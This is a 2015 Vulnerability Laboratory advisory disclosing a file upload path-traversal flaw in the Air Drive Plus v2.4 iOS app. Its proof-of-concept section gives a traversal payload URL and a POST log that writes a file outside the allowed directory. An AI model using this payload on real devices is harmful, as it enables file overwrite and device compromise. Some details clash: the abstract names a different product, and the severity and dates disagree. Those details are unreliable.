Document Title:
===============
Air Drive Plus v2.4 iOS - File Upload Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1597


Release Date:
=============
2015-09-20


Vulnerability Laboratory ID (VL-ID):
====================================
1597


Common Vulnerability Scoring System:
====================================
6.1


Product & Service Introduction:
===============================
Turn your iPhone, iPod touch, and iPad into a wireless disk. Share your files and photos over network, no USB cable or extra software required.

(Copy of the Vendor Homepage: https://itunes.apple.com/tr/app/air-drive-plus-your-file-manager/id422806570 )


Abstract Advisory Information:
==============================
The vulnerability laboratory tesearch team discovered an unrestricted file upload web vulnerability in the official Photo Transfer 2 - v1.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2015-09-21:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Y.K. YING
Product: Air Drive Plus - iOS Mobile (Web-Application) 2.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An unrestricted file upload web vulnerability has been discovered in the official Air Drive Plus v2.4 iOS web-application.
The unrestricted file upload web vulnerability allows remote attackers to upload malicious files into restricted directories.

The vulnerability is located in the `filename` parameter of the `Upload` module. Remote attackers are able to manipulate the 
filename value and can replace or overwrite the local files in the application path. The request method to upload the malicious 
context is POST and the attack vector is located on the application-side of the mobile iOS web-application.

The security risk of the file upload vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.1. 
Exploitation of the unrestricted file upload web vulnerability requires no user interaction or privileged web-application user account. 
Successful exploitation of the vulnerability results in mobile application compromise and compromise of connected device components.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8000/)


Proof of Concept (PoC):
=======================
The unrestricted file upload web vulnerability can be exploited by remote attacker without privileged web-application user acocunt or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC Payload(s): Exploitation
http://localhost:8000/AirDriveAction_file_show/%3C./../not_allowed_directory/newfile.PNG


PoC: Source (Upload File)
<tbody id="files"><tr><td colspan="8"><a href="#" onclick="javascript:loadfiles("/AirDriveAction_ROOTLV")">.</a></td></tr><tr><td colspan="8"><a 

href="#" onclick="javascript:loadfiles("/AirDriveAction_UPPERLV")">..</a></td></tr><tr class=""><td><img src="./images/file.png" height="20px" 

width="20px"></td><td><a target="_blank" href="/AirDriveAction_file_show/68-2.png">68-2.png</a></td><td>24,27KB</td><td align="center">2015-09-11 

13:13:25</td><td align="center"><a onclick="javascript:delfile("68-2.png");" class="transparent_button">Delete</a></td></tr><tr class=""><td><img 

src="./images/file.png" height="20px" width="20px"></td><td><a target="_blank" href="/AirDriveAction_file_show/%3C./../not_allowed_directory/newfile.PNG">
newfile.PNG</a></td><td>538,00B</td><td align='center'>2015-09-11 13:17:21</td><td align='center'>
<a onclick='javascript:delfile("%3C./../not_allowed_directory/newfile.PNG");' class='transparent_button'>
Delete</a></td></tr></tbody></table></iframe></a></td></tr></tbody>


--- PoC Session Logs [POST] ---
Status: pending[]
POST http://localhost:8000/AirDriveAction_file_add 
   Request Header:
      Host[localhost:8000:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://localhost:8000/index_files.html]
   POST-Daten:
      POST_DATA[-----------------------------52852184124488
Content-Disposition: form-data; name="uploadfile"; filename="../not_allowed_directory/newfile.PNG"
-
Status: 200[OK] 
GET http://localhost:8000/../not_allowed_directory/newfile.PNG
   Request Header:
      Host[localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://localhost:8000/index_files.html]
 

Reference(s):
http://localhost:8000/index_files.html
http://localhost:8000/AirDriveAction_file_add/
http://localhost:8000/AirDriveAction_file_show/


Security Risk:
==============
The security risk of the unrestricted file upload web vulnerability in the filename parameter is estimated as high. (CVSS 6.1)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


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=========================
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